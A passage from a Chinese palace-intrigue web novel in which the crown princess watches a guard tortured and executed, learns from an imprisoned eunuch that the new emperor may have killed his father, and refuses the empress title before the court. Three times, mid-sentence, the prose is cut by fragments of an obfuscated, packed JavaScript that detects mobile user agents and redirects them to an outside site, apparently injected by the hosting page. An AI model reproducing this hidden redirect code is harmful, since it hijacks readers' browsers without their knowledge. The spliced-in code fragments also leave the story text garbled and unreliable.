她霍然起身,扑向炭盆。那本蓝布皮的书被她抓在手里,用力扔进去。 火“哄”地一下烧起来,烧得老高。 她胡乱擦了把眼泪,绕过屏风,迎了出去。 沈昱正站在门边,披着玄色大氅,肩上落着薄薄的雪。见她出来,他伸出手,握住她的。 “怎么哭了?”他的声音温和如常。 他的手很暖,包着她的手,一点点渡过来温度。 “臣妾……”她的声音有些沙哑,清了清嗓子,才继续说下去,“没什么。只是看了个话本子,被里面的故事惹着了。” 沈昱的目光在她脸上停了一息。 他松开她的手,往里走了两步。 秦宝宜的心猛地提起来。 炭盆里的火还在烧着,火苗跳动,照亮了盆边那几片没烧尽的纸灰。焦黑的,卷曲的,像一只只死去的蝴蝶。 沈昱站在那儿,看着那炭盆。 然后他动了。他示意孙荣过来。 “烧的什么?” 孙荣上前,端起一旁的水,泼进炭盆里。火“嗤”地一声灭了,腾起一阵白烟。他用火钳拨了拨,从那堆灰烬里夹出一本书——只剩书脊了,封皮烧得干干净净,只留那一根硬纸板做的脊,焦黑地躺在那儿。 沈昱接过来,放在手里抖了抖。 灰烬落下来,飘散在空气里。有几片落在秦宝宜的袖口上,她低头看了一眼,没有动。 “怎么烧了?”他问。 “不小心掉进去了。”她答。 两个人就这么站着,隔着那几步的距离,隔着那炭盆里升起的余烟,隔着那烧得只剩书脊的残骸。 “殿下怎么这时候来了?”她又问。 沈昱的目光在她脸上又停了一息。然后他把那残骸往孙荣手里一递,几步走回她面前。 他的手又握住她的。另一只手抬起来,轻轻擦去她眼角没擦干净的泪痕。 他的指腹温热,带着薄薄的茧,从她眼角划过,像羽毛拂过水面。 “走,”他说,唇角弯起来,带着她看不穿的浅笑,“孤带你去看戏。” 13. 赐死 秦宝宜跟着沈昱走。 他的手紧紧攥着她的,指节扣进她指缝里,像锁扣合拢,密不透风。她挣了一下,没挣开,便不再挣。 出了主院,穿过花园。往日里人来人往的宫人——那些忙着搬运箱笼、清点册子、为明日入宫做最后准备的宫人——今日一个都不见了。 整座东宫像被抽空了声音。只有靴底踏过青石板的声音,笃,笃,笃,一声一声,像敲在棺材板上。 “去哪?”她问。 他没有停步,只是攥紧了她的手,声音从前方传来,温和如旧: “待会你就知道了。” 走到东宫的地牢前,他停下。 那扇门她从未注意过。在东宫五年,她甚至不知道这里有地牢。门是铁铸的,漆黑,嵌在石墙里,像一只阖上的眼。 秦宝宜的脚钉在原地。 她抬起头,望着那扇门,又望着他。 “为什么来这?” 沈昱转过身来。 他抬起手,替她拢了拢大氅的领子。动作很轻,很慢,指腹擦过她的下颌,像从前无数次做过的那样。但他的脸上没有笑容。 他什么都没说。只是拢好她的领子,然后重新握住她的手,拉着她走下台阶。 台阶很深。一级一级,往下沉。烛火插在墙上的铁架上,光晕昏黄,照不出三步以外。她的影子投在石壁上,被拉得又长又细,像一根随时会断的线。 走到一半,她听到了声音。 从深处传来的——求饶声。 那声音她很熟悉。在宫门前拦过她,在玄清观外放过她。是薛晟。 秦宝宜的脚步停住了。 她听着那求饶声,听着那声音里夹杂的喘息和呻吟,听着刑具落在皮肉上的闷响——砰,砰,砰,一下一下,像有人在远处夯土。 她转过头,看着沈昱。 “为什么这样?” 沈昱站在她身侧,烛火从下往上照,将他的脸切割成明暗两半。一半隐在黑暗里,一半被光晕染得温润如玉。他垂着眼,望着她,声音不高不低,像在说一件寻常事。 “该罚。” “他奉命护送你往玄清观祭拜先皇后,”他一字一顿,“却擅自让你进入观内,违抗命令。” 秦宝宜的心往下沉了沉。 她看着他的眼睛。那眼睛还是那双眼睛,温润的,和煦的,像三月的春水。但那春水底下,她看见了别的东西。 她不知道如何形容。但她看见了。 “殿下不如直接罚我。”她说,声音冷下来。 沈昱的目光在她脸上停了一息。然后他动了——他俯下身,嘴唇几乎贴着她的耳朵,声音轻得像一片落叶: “孤舍不得。” 他直起身,重新握住她的手。 她的手在他掌心里僵着,指节蜷缩,想攥紧什么,却什么都攥不住。他的手很暖,包着她的手,像包着一块冰。 他拉着她,继续往下走。 地牢最深处的刑室里,灯火通明,观刑的宫人跪了满地。 薛晟被吊在空中。两只手腕用铁链锁着,高高悬起,脚尖离地半尺。他的衣裳已经看不出原来的颜色,一条一条地挂在身上,露出的皮肉上全是伤——鞭痕,烙痕,还有不知什么东西留下的、一道道翻卷的血口。 一个行刑的人站在他面前,手里握着皮鞭。鞭梢浸过盐水,还在往下滴。 薛晟的眼睛肿着,肿得只剩两条缝。听见脚步声,他艰难地转过头来,从那两条缝里往外看。他看见了沈昱,又看见了秦宝宜。 他的嘴唇动了动,像想说什么,但什么都没说出来。 沈昱走到他面前,站定。 “说不说?”他问。 薛晟的喉咙里发出一阵含混的声音。他咳了两声,咳出一口血沫,然后开口,声音嘶哑得像砂纸磨过石头: “属下……没有说谎。” 他一字一顿,说得极慢,像每说一个字都要耗尽全身的力气。 “娘娘只在玄清观……待了一炷香。很快就……出来了。” 沈昱没有说话。 他只是站在那里,看着薛晟,像看一件废物。 刑室里静下来。静得能听见烛火燃烧的声音,噼啪,噼啪,一下一下。静得能听见血从薛晟身上滴落的声音,滴答,滴答,落在地上那摊污水里。 沈昱又开口了。 “青黛呢?” 他的声音不高不低,在刑室里回荡。 “那日为什么没与太子妃一同回宫?” 秦宝宜站在他身后,手被他攥着,一动不能动。她看着薛晟,看着他那肿得只剩两条缝的眼睛。那眼睛正对着她,隔着几步的距离,隔着满室的烛火和血腥气。 她不知道他在看什么。她也不知道自己脸上是什么表情。 但她知道,沈昱这是在问她。 “够了。”那两个字从她嘴里说出来,很轻,但很稳。 沈昱转过头来,看着她。 “爱妃,”他说,声音温和得不像在刑室里,“那你说,青黛从玄清观带出来的那个孩子,是什么人?” 秦宝宜的心猛地缩紧。她不是他的对手。 她早该想到的——玄清观附近,怎么可能没有他的眼睛?他放火烧观、运走先皇后的棺椁,他怎么可能不派人盯着那? 她望着沈昱。他站在烛火里,眉目温润,像画上的仙人。但他的眼睛正看着她,那目光很平,很静,像一潭深不见底的水。 她心里揣着那个秘密——那个还来不及消化的、关于他血统的秘密。那秘密像一块烧红的铁,烙在她心上,烫得她不敢开口,不敢动,不敢让他看出任何异样。 她不敢激怒他。 “什么孩子?”她只能假装不懂。 沈昱盯着她。很久。久到她几乎要撑不住,久到她几乎要移开眼去。 然后他转过身,面对着薛晟。 “那个带回永靖候府的孩子。”他说,声音不高不低,像在说一件所有人都该知道的事。 行刑的人把烙铁从炭火里抽出来。那烙铁烧得通红,边缘泛着白,热气蒸腾,隔着几步都能感觉到那灼人的温度。 薛晟的眼睛从那两条缝里往外看。他看着那烙铁,看着那通红的铁块一点点靠近。他的身体绷紧了,铁链哗啦啦地响。 烙铁压在皮肉上。 嗤—— 一股焦臭的气味弥漫开来。薛晟的惨叫卡在喉咙里,变成一阵压抑的闷哼。他的身体剧烈地抽搐,铁链哗啦啦响成一片。 沈昱没有回头。 他就站在那儿,背对着薛晟,面对着秦宝宜。他的声音从唇齿间溢出来,不高不低: “太子妃去永靖候府,与那孩子说了什么?” 他在问薛晟。但其实问的是她。他每一个问题,都是冲着她去的。 秦宝宜的手在他掌心里攥紧了。指甲刺进掌心,疼得她几乎要倒吸一口凉气。但她忍住了。她只是站在那里,望着薛晟。 薛晟的眼睛从那两条缝里往外看。 他看了沈昱一眼。然后他转过头,看向秦宝宜。 四目相对的那一瞬间,秦宝宜看见他眼底有什么东西一闪而过——不是恐惧,不是愤怒,不是哀求。 是交易。她说过,会给他弟弟个好前程。 然后他开口了。 “太子妃在永靖候府,”他一字一顿,声音嘶哑,但每个字都清清楚楚,“只见到了老家的亲戚。并未见到什么孩子。” 刑室里静了一瞬。薛晟的喘息声渐渐弱下去,变成一阵阵压抑的呻吟。 “爱妃,”沈昱问:“还有话要说吗?” 秦宝宜闭了闭眼。又睁开。 “臣妾不过是入观祭拜,”她说,一字一顿,声音平稳得像一潭死水,“殿下……究竟在怕什么?” 这句话,是她在这场力量悬殊的博弈中,唯一能刺出去的剑。 沈昱的目光在她脸上停了一息。 然后他往前走了一步。两步。三步。走到她面前,低头看着她。 烛火从身后照过来,将他的脸笼罩在阴影里。她看不清他的表情,只看见他的眼睛——那眼睛阴沉得吓人,像两团压境的黑云。 “你是皇后。”他说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222716|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一字一顿。 “要与朕同心同德。” 这是他第一次,在众人面前,使用“朕”这个称呼。他在施压、在警告。 “你是朕在后宫的触手。是大齐女眷的门面。” 他顿了顿,抬起手,轻轻抚过她的脸颊。他的指腹温热,带着薄薄的茧,从她眼角滑过。 “再继续闹下去,”他的声音轻得像一片落叶,“朕便要怀疑,是秦家与镇北王有不轨之心。是他们在给你撑腰,扰乱新朝。” 秦宝宜的心猛地缩紧。 她的手指在他掌心里蜷紧了。指甲刺进掌心,刺进那几道还没愈合的伤口。血珠渗出来,黏黏的,湿湿的,沾在他掌心里。 他感觉到了。他低头,看了一眼她的手,又抬起头,看着她。 “薛晟,赐死。”他说。 那两个字很轻,轻得像一片落叶。但在刑室里回荡,撞在石壁上,又弹回来,一下一下,震得人耳膜发疼。 他不动她,只是让她眼睁睁看着,有人因她而死。 秦宝宜霍然抬头。 她看见行刑的人走向薛晟。看见他从腰间抽出一把匕首。看见那匕首在烛火下闪着寒光。 她想说什么。想喊什么。想冲上去拦住什么。 但她的手被沈昱攥着。攥得那么紧,紧得像锁扣,像铁链,像一道永远挣不开的枷锁。 他拉着她,往外走。 她的脚步踉跄了一下,被他拽住,稳稳地扶着。他的手臂环过她的腰,把她整个人揽在怀里,带着她一步一步往上走。 沈昱的声音从头顶传来,像自言自语: “宝宜。” “孤这些日子越发觉得,看不透你了。” 他的脚步没停。一级一级,往上走。 “你当着孤的面一套,背着孤的面又是一套。孤喜欢你,但却不喜欢你这样。” 秦宝宜没有说话。她只是低着头,看着脚下的台阶。一级,一级,往上升。 “但无所谓。” 他的手收紧了些,把她往怀里带了带。 “明日登基大典一过,旧事尘归尘、土归土。孤不计较你看到过什么、做了什么。只要你还肯做孤的皇后,沈秦两氏,便继续一荣俱荣。” 他的声音顿了顿。 “否则——” 他没有说下去。但她听见了。她听见了那两个字后面的千言万语。 否则,薛晟只是个开端。 终于,走到了地面。 夜风灌进来,带着腊月的寒气,吹在她脸上。她打了个寒颤,牙齿轻轻磕在一起,发出细碎的声响。 沈昱停下来,转过身,面对着她。 他抬起手,替她擦去额角的汗。那汗是冷的,黏在她皮肤上,被他一点点拭去。 “近来发生的事,”他说,声音温和得像三月的春水,“孤只当你是为父皇伤心,乱了神智。” 他顿了顿,望着她的眼睛。 “从前,父皇与母后将宝宜养得天真可爱。” 他的指腹从她眼角滑过,轻轻按了按她的脸颊。 “今后,孤也会。” 秦宝宜望着他。 他站在月光下,玄色大氅上沾着薄薄的雪沫,眉目温润如玉,像画上的仙人。他的眼睛正望着她,那目光里有怜惜,有温柔,有——她看不懂的东西。 “你继续像从前那样,”他一字一顿,说得极慢,像在用圣旨包裹情话,“仰慕孤,信赖孤。” 他的手从她脸颊滑落,重新握住她的手。 “孤不会辜负你的。” 秦宝宜垂下眼。 她望着被他握着的那只手。他的手很暖,她被包裹着,却感觉不到丝毫暖意。 “那我还会是皇后吗?”她问。 沈昱怔了一下。 那怔忪很短,短到几乎察觉不出。但他怔了。她看见了。 然后他笑了。 那笑容是对她识趣的满意,他以为他吓住了她。 他抬起手,轻轻托起她的下巴,让她看着自己。 “除了你,”他一字一顿,“别人不配。” 14. 登基 登基大典当日,秦宝宜不到卯时就醒了。 身边的位置已经凉透——沈昱丑时便起身入宫,寅时告祭天地祖宗,卯时在太和殿接受百官朝贺。今日是他登基的日子,也是她封后的日子。 封后大典本不必在今日。新皇登基,万事纷繁,封后大典通常要择吉日另办。但沈昱坚持。 “你是朕的发妻,”那夜从地牢出来,他握着她的手这样说,“自要让群臣看见帝后和睦。” 她不是他的妻子,是他立威的工具。 青黛站在身后,替她通发。一下,一下,梳齿穿过发丝,带着细微的沙沙声。 “主子,翠翠传话说,在登基大典与封后的间隙,能见冯坤一面。” 天光大亮时,她乘轿子进了午门。 封后大典之前,皇后需在交泰殿候场——这是规矩。轿子在交泰殿前停稳,青黛扶着她下来。 殿门敞着,里头站着一排人,皆是尚宫局的女使,穿着统一的青色宫装,垂首而立。 见她进来,为首的女使迎上前,屈膝行礼:“奴婢是尚宫局司珍许氏,为娘娘梳妆。” 秦宝宜的目光从她们脸上扫过。 六个人。生得寻常,穿着寻常,眉眼间带着宫人特有的恭谨与疏离。 “都进来吧。”她说。 殿门在身后阖上。 六名女使围上来,替她宽衣、净面、梳头。许司珍站在她身后,握着梳子,一下一下替她通发。 “娘娘,今日的凤袍有些繁复,奴婢先替娘娘试穿一遍,免得误了时辰。” 秦宝宜看着镜中那双眼睛。 “好。” 许司珍放下梳子,走到衣架前,取下那件翟衣。金线织就的翟纹在烛火下明明灭灭,像无数只细小的眼睛。她捧着那件翟衣,走到屏风后面。 秦宝宜站起身,跟了过去。 “凤袍已经备好,但娘娘要先换上这个。”许司珍从身后女使手里接过一套衣裳——青灰色的宫装,料子寻常,样式普通,正是尚宫局女使的服饰。 秦宝宜明白了。 “翠翠姑娘说,娘娘想见的人,只能在这个时辰见。错过了,怕就再也没机会了。” 秦宝宜不再多问。她接过衣裳,转到屏风后,飞快地换上。青黛替她系带子时,手在抖。秦宝宜按住她的手,轻轻拍了拍。 “没事。在这等我。” 她从屏风后转出来时,六个女使已经站成一排。许司珍正在端详另一个女使——那女使的身量、脸型,与她有六七分相似。许司珍从袖中取出一盒脂粉,在那女使脸上涂抹起来。 秦宝宜看着那女使的脸一点点变化,眉形被修细了些,唇色被调淡了些。不过一炷香的功夫,那张脸竟然有了几分她的影子。 “她留在这里,装作娘娘正在梳妆。”许司珍压低声音,“娘娘有个半个时辰。半个时辰后,无论话说没说完,都必须回来。” 秦宝宜点头。她转身要走,却被许司珍拉住了手腕。 “娘娘。”许司珍的声音压得极低,低得几乎是从喉咙里挤出来的,“养心殿那边,太子殿下留了人。冯坤还活着,但被看得紧。娘娘只能从后殿的角门进去,那里有个当值的小太监,他会带娘娘去见冯坤。” 交泰殿的后门通向一条夹道。夹道很窄,只容一人通过,两边是高高的宫墙,抬头只能看见一线天光。秦宝宜走在里面,靴底踏在青石板上,发出细碎的回响。那回声在夹道里来回弹撞,像有人在身后跟着她,一步,一步,一步。 她不敢回头。只是加快脚步。 夹道的尽头是一扇小门。门虚掩着,她从门缝里望出去——外面是御花园的角落,几株腊梅开得正好,金黄的花朵缀满枝头,香气若有若无地飘过来。没有人。 她推开门,闪身出去。 腊梅丛后,一个小太监正在那里等着。他生得瘦小,穿着一身半旧的灰棉袍,缩着肩膀,像一只受惊的雀儿。看见她,他的眼睛亮了一下,飞快地迎上来。 “娘娘?” 秦宝宜点头。 小太监不再说话。他转身,沿着腊梅丛的边缘往前走。秦宝宜跟在后面,脚步放得极轻。积雪在她脚下发出细碎的咯吱声,每一声都让她心惊。她看着前面那个瘦小的背影,看着他走得飞快,靴底几乎不沾地。 御花园静得吓人。往日这个时辰,应该有洒扫的太监、浇花的宫女、来来往往的人影。但今日,什么都没有。所有人都在太和殿那边,候着新皇登基的那道圣旨。 穿过御花园,绕过坤宁宫的墙角,养心殿已经在望。 秦宝宜的脚步慢下来。 养心殿静悄悄的。朱红的大门紧闭着,门上的铜钉在日光下闪着冷冷的光。殿前的汉白玉台阶扫得干干净净,连一片落叶都没有。廊下站着几个太监,垂着手,一动不动,像泥塑的。 小太监没有往正门走。他带着她绕到殿后,穿过一道更窄的夹道,最后停在一扇角门前。 “娘娘,”他的声音压得极低,“冯公公就在里面。奴才在这里守着,一炷香后,必须出来。” 秦宝宜点头。她的手按在门上,那门是冷的,凉意从掌心一路传到心口。 门后是一条幽暗的走廊。走廊两侧是一间间小小的耳房,门都关着,静得能听见自己的心跳。她沿着走廊往前走,走到第三间门前,停住。 门虚掩着。里面透出一线昏黄的光。 她推开门。 冯坤坐在窗边的一张矮榻上,听见门响,他转过头来。 那一瞬间,秦宝宜几乎认不出他。 不过数日光景,他老了十岁不止。头发全白了,乱糟糟地披散着,脸上瘦得只剩一层皮。他身上穿着脏污的旧棉袍,袖口磨得发白,领口油腻腻的,不知多少天没换洗过。 但他的眼睛还是亮的。看见她,那双眼睛忽然亮起来,像一盏快要燃尽的灯,被重新添了油。 “娘娘……”他的声音嘶哑,像砂纸磨过喉咙。他想站起来,但身子晃了晃,又跌坐回去。 秦宝宜几步走过去,扶住他。他的手瘦得只剩骨头,隔着袖子都能摸出那一根根分明的骨节。凉得吓人。 “冯公公……”她的声音哽在喉咙里,来不及寒暄,直问:“皇上是怎么走的?” 冯坤的目光在她脸上停了一息。然后他垂下眼,望着自己那双枯瘦的手,沉默了。 窗外隐约传来钟声。太和殿那边,登极大典正在进行。钟响,一声一声,远远地飘过来,沉闷得像从地底涌上。 冯坤抬起头,听着那钟声。他的嘴唇动了动。 “皇上最后一次去道观前,”他一字一顿,声音压得极低,“与太子殿下发生了激烈冲突。” 秦宝宜的心猛地一缩。 “什么冲突?” 冯坤的目光往门口扫了一眼。门关着,外面静悄悄的。他收回目光,声音压得更低: “太子殿下要召镇北王回京。皇上不准。” 镇北王——沈皓清。皇上的兄长,封地在北境。 “为何要召镇北王回京?”秦宝宜问。 冯坤摇头:“老奴不知。皇上让老奴退下,只隐约听见……” 他顿了顿,像是在回忆。 “隐约听见‘海东国’三个字。” 海东国。秦宝宜的眉头蹙起来。那是大齐东北边的一个小国,臣服多年,年年进贡,岁岁来朝。怎么会和镇北王扯上关系? “后来呢?”她问。 冯坤的声音更低了些:“后来皇上从道观回来,就病倒了。那些丹药,老奴都亲自试过,没有任何问题。皇上不是因为服食丹药才病的,更不致死。” 他抬起头,看着秦宝宜。 “那日,娘娘来见皇上之后。太子殿下又回来了。” 秦宝宜的手攥紧了。 “回来了?” 冯坤点头。他的目光望着虚空,像是在看那日的场景: “娘娘走后不久,太子殿下进来。太子殿下让老奴把殿里所有人都遣出去,说是要亲手侍奉皇上服药。” 他的声音开始发颤。 “老奴当时觉得不妥,但不敢违抗,把人都带出去了,在殿外候着。过了大约一炷香的功夫,太子殿下出来了。他说,皇上累了,让老奴不要进去打扰。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230978|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冯坤的手在发抖。秦宝宜感觉到那颤抖,从他的手传过来,传进她的骨头里。 “然后呢?”她问。 “然后……”冯坤的声音嘶哑,“第二日一早,老奴进去请安时,皇上已经……” 他没有说下去。 秦宝宜闭上眼。眼泪终于落下来。无声的,一滴一滴,落在衣襟上。 窗外的钟声停了。登极大典结束了。接下来,是封后大典。 秦宝宜擦去眼泪。她看着冯坤,问出最后一个问题: “冯公公,你为什么还活着?” 冯坤的目光在她脸上停了一息。然后他笑了,那笑容里有苦涩,有无奈,还有一丝嘲讽。 “因为太子殿下在找一样东西。” 秦宝宜的心猛地一紧。 “什么东西?” 冯坤看着她,一字一顿: “殿下知道,皇上手里还有一股力量,没有交给他。他以为老奴知道那是什么,所以留着老奴的命,慢慢问。” 他顿了顿,声音低下去: “老奴也确实知道。” 冯坤看着她,那目光里有很多东西——托付,期盼,还有一丝悲悯。 “娘娘,那枚令牌,千万收好了。” 门外忽然传来轻轻的叩门声。三下,极轻,极短。 冯坤的脸色变了。“娘娘,该走了。” 秦宝宜站起身。她看着冯坤,看着这个枯瘦的老人,看着他在烛火下那张苍老的脸。她张了张嘴,想说点什么,却什么都说不出来。 冯坤却笑了。 “娘娘再不必记挂老奴。”他说。 秦宝宜转身要走,又停住。她回过头,看着冯坤。 “冯公公,”她说,“你等着。我会救你的。” 冯坤没有应声。他只是笑着,摆了摆手。 秦宝宜咬紧牙,推门出去。 走廊还是那条走廊,幽暗,漫长。她的脚步很快,靴底踏在地砖上,发出细碎的回响。那回声在走廊里来回弹撞,像有人在身后追她,一步,一步,一步。 她不敢回头。只是加快脚步。 角门外,那个小太监正在等着。看见她出来,他的脸色松了松,低声道:“快来人了,娘娘快走。” 秦宝宜点头。她跟在他身后,沿着来时的路往回走。穿过御花园,绕过坤宁宫,走过那条窄窄的夹道。 终于,交泰殿的后门出现在眼前。 秦宝宜推开门,闪身进去。 门后,六个女使齐刷刷地跪着。那个假扮她的女使还坐在妆台前,听见门响,她回过头来。那张脸上,还残留着模仿她的妆容。 许司珍几步迎上来,扶住秦宝宜。她的目光在她脸上停了一息,看见她微红的眼眶,什么都没问。 只是双手捧着凤冠,高高举起,“请娘娘戴冠。” 秦宝宜看着那顶凤冠。 金丝编就的翟纹,密密麻麻,像一张织好的网。九只翟鸟,四只凤凰,口衔珠串,每一颗珠子都在烛火下闪着温润的光。 她想起那夜,沈昱牵着她的手,带她走到那套服制面前。他的手掌覆在她手背上,引着她的手,轻轻抚过那件翟衣。金线织就的翟纹硌着指尖,细细密密的,像无数只小小的眼睛。 他问:“喜欢吗?” 她说:“喜欢。” 假的。 秦宝宜伸出手。 她的手指触到凤冠的边缘,金的,凉的。那凉意从指尖一路传到心口,冷得她几乎要打个寒颤。但她没有。 她只是轻轻推了一下。 凤冠在许司珍的手里晃了晃,珠串轻轻碰撞,发出细碎的声响。 “不戴了。”她说。 许司珍愣住了。 “娘娘?”她的声音发颤,“这……这不合规矩……” 门外传来脚步声。 “娘娘——”是孙荣的声音,尖细的,带着一丝谄媚,“皇上请娘娘移驾太和殿,封后大典就要开始了。” 秦宝宜最后看了一眼铜镜里的自己。抬手,随意挽了一个发髻。 然后转身,走出去。 15. 辞位 秦宝宜就这样走进太和殿。 凤冠没有戴。发髻只是随意挽起,用一根玉簪绾住,素净得像寻常官眷。满殿的朱紫贵胄、金银珠翠,衬得她像一只误入锦丛的灰雀。 她从殿门走进来,一步一步,走得很慢。 日光从她身后照进来,将她的影子投在汉白玉的地砖上,拉得很长很长。那影子随着她的脚步往前移动,像另一个她,沉默地走在前面探路。 殿内上百双眼睛,齐刷刷落在她身上。 她一步一步走,走得极慢,像赏花似的闲庭信步。裙摆曳过金砖,窸窸窣窣,那声响在寂静的大殿里格外清晰。她微微抬眼,遥遥望向御阶之上。 沈昱站在那里。这是他最得意的一天。 他坐在御座上,玄色衮服,十二旒冕冠。日光从殿顶的藻井倾泻而下,将他笼罩在一片金光里。他原本从容镇定地坐着,嘴角甚至还噙着一丝笑意——那是新帝登基应有的、矜持而游刃有余的笑。 然后他看见了她。 那一瞬间,她看见他嘴角的笑意凝住了。 不是消失,是凝住。像一池春水被突如其来的寒流冻住。 他的身体微微前倾,握着扶手的手指收紧了一瞬。那动作极轻,轻到几乎察觉不出。 但她看见了。她离得那样远,隔着整座太和殿,隔着满殿的朝臣,她感觉到了。 她继续走。 目光从沈昱脸上移开,扫过殿内两侧的朝臣。那些人低着头,眼角却都斜着,拼命往她这边瞟。她看见有人面露惊疑,有人面面相觑,有人嘴唇动了动,想说什么又咽回去。 她赏着这些表情,嘴角微微翘起。 走到一半时,沈昱动了。 他站起身,从御阶上走下来。冕旒随着他的步伐轻轻晃动,珠串相击,发出细碎的声响。他的脚步越来越快,两人之间的距离越来越近。十步,五步,三步—— 他在她面前站定。手伸过来,握住了她的。 他的掌心温热,指节扣进她指缝里,像那夜从地牢出来时一样紧,一样密不透风。但他的目光落在她光秃秃的发髻上,顿了一息。 没有询问。没有质疑。 “皇后,别闹了。” 他的语气不重,像在哄一个任性的孩子。但手却攥得那样紧,紧得她指节发疼。 秦宝宜望着他。 冕旒的珠串在他眉眼间投下细碎的阴影,将那张熟悉面孔切割成明明暗暗的碎片。她看着那张脸,看着那双眼睛,心里却想着另一些事—— 沈昱给她后位,不是爱她。是想用后位拴住她和秦家。 只要她是皇后,她就得替他圆场、替他遮掩、替他继续卖命。那些朝臣,那些宗亲,那些后宫的女人,都会看着这个“帝后和睦”的戏码,继续相信沈秦两姓一如往昔。 沈昱有今日,是有他才干、勤勉的原因。但更多的,是秦家撑着他,一步一步走到这里。 沈秦两姓君臣相宜,是大齐这百年来最不需要怀疑的事。尤其是沈昱娶了秦家女,所有朝臣都以为他也会继承这个传统。 但他是装的。 她没有证据。 她在没查清、没做好准备前,不能明确释放他弑君弑父的真相,更不能说出那个她还不完全确定的、关于他血统的秘密。 但也不能再让沈昱借秦家的情、势,继续做大,在皇位上高枕无忧。真等到沈昱大权在握、羽翼丰满时,一切就都晚了。 所以这时候,她只需要退一步。 让出皇后之位,就足够掀起滔天巨浪。 水搅浑了,泥沙才会浮上来。 皇后之位空出来了。 朝臣会想:太子妃为什么不当皇后?秦家是不是出问题了?新帝刚登基,后位就空着,这什么意思? 后宫会想:谁有机会?怎么争?秦宝宜是不是失宠了? 谁急着往上爬,谁在观望,谁是中立。谁落井下石,谁是敌人。 她不用查。她只要站在岸上,看谁下水。 她要用这个空悬的后位,让朝局震动,逼沈昱暴露更多。 但她还是秦宝宜,她不做皇后,别人也坐不上去。 沈昱想要刚到手的皇位安稳,就必须让重臣相信,沈秦两姓一如既往,军权安定、边境安稳。让人相信,秦宝宜只是在耍小脾气,他作为明君,不会混淆私情与朝政。 怎么证明? 对内,继续敬她。继续宠她。继续纵容她“闹脾气”。对外,秦家军权不动、恩宠如旧。 他越是演“夫妻和睦”,就越动不了秦家。 而她,需要时间。 证据。人。来龙去脉。她缺的东西太多。 沈昱忙着安抚朝臣、应付开始分裂的政局时,她可以慢慢查,慢慢等,慢慢布。 这些念头在她心里转过,不过几息。她望着沈昱,望着那张她看了五年的脸,然后—— 她顺从地被他牵着,往御阶走去。 众臣敛声屏气,但上千双眼睛都盯着他们。那目光密密麻麻的,如芒在背。 走到御阶前,他还要拉着她往上走。 她停下来。 沈昱感觉到她的停滞,转过头来看她。他的手还握着她的,指节微微收紧,又加了些力道,想把她拽上去。 她没有动。 “秦宝宜。”他的声音压低了些,只有她能听见,“听话。” 比方才更沉,更冷。那层宠溺的壳子底下,终于露出了一点本来的颜色。 秦宝宜望着他。 她的目光落在他脸上,上上下下地描摹着,看得极慢,极细,像在重新认识一个人。 从眉眼,到鼻梁,到嘴唇,到下颌。每一寸都看过去,每一寸都停留很久。 冕旒垂落,珠串轻轻晃动。她看着那些晃动的珠子,看着它们后面那张温润如玉的脸。那张脸她看了五年,闭着眼也能描摹轮廓。此刻看着,却觉得陌生。 她看了很久。久到他攥着她的手开始微微发抖,久到御阶下的群臣开始窃窃私语,久到那细碎的声响像潮水一样漫上来,一波一波,涌进这死一般的寂静里。 然后她跪下。 刚屈膝,他的手便猛地收紧,把她往上拽。 她任他拽着。他的手指陷进她的腕骨,勒出深深的印痕。疼。但她没有挣,只是看着他,继续往下坠。 膝盖触底的那一瞬,满殿轰然。 群臣再也忍不住了。那些压抑了许久的惊疑、惶惑、交头接耳,像开闸的水一样涌出来。窸窸窣窣的声音从四面八方响起,像无数只虫子在暗处爬动,沙沙沙沙,听得人头皮发麻。 沈昱站在那里,一动不动。 他攥着她的手,攥得指节泛白。他没有再往上拽。他就那样站在她面前,垂着眼看她。冕旒垂落,遮着他的脸。她看不清他的表情,只看见那些白玉珠串在轻轻晃动。 他也在忍。 “起来。”他的声音压成一线,带着警告。 秦宝宜没有起。她跪在那里,脊背挺直,像一棵树,扎了根的。抬头,与他对视。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235782|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然后她开口,一字一句,声音不高不低,却清清楚楚地传进每一个人耳中: “臣妾无德无嗣,不堪正位中宫——请自降为贵妃。” 倏地,满殿寂静。 沈昱站在那里,一动不动。 他的手还攥着她的手臂,力道重得像要把她的骨头捏碎。但他的脸上什么都没有——没有愤怒,没有震惊,没有任何表情。 只是看着她,像从不认识她。 良久,他终于开口了。 “秦宝宜。”他唤她,连名带姓。 她的肩膀微微动了一下,但没有抬头。 他的声音从头顶传来,很低,很轻,像一片落叶: “你知不知道,你在做什么?” 她当然知道。 她在做一件从没人做过的事。她在金殿之上,当着满朝文武的面,拒绝了皇后之位。 这件事一旦做出来,就再也收不回去。从此以后,她就是那个“不肯当皇后”的女人。朝臣会议论,后宫会猜疑,天下人会不解。她会被说成不识抬举,会被说成恃宠而骄。 但她不在乎。 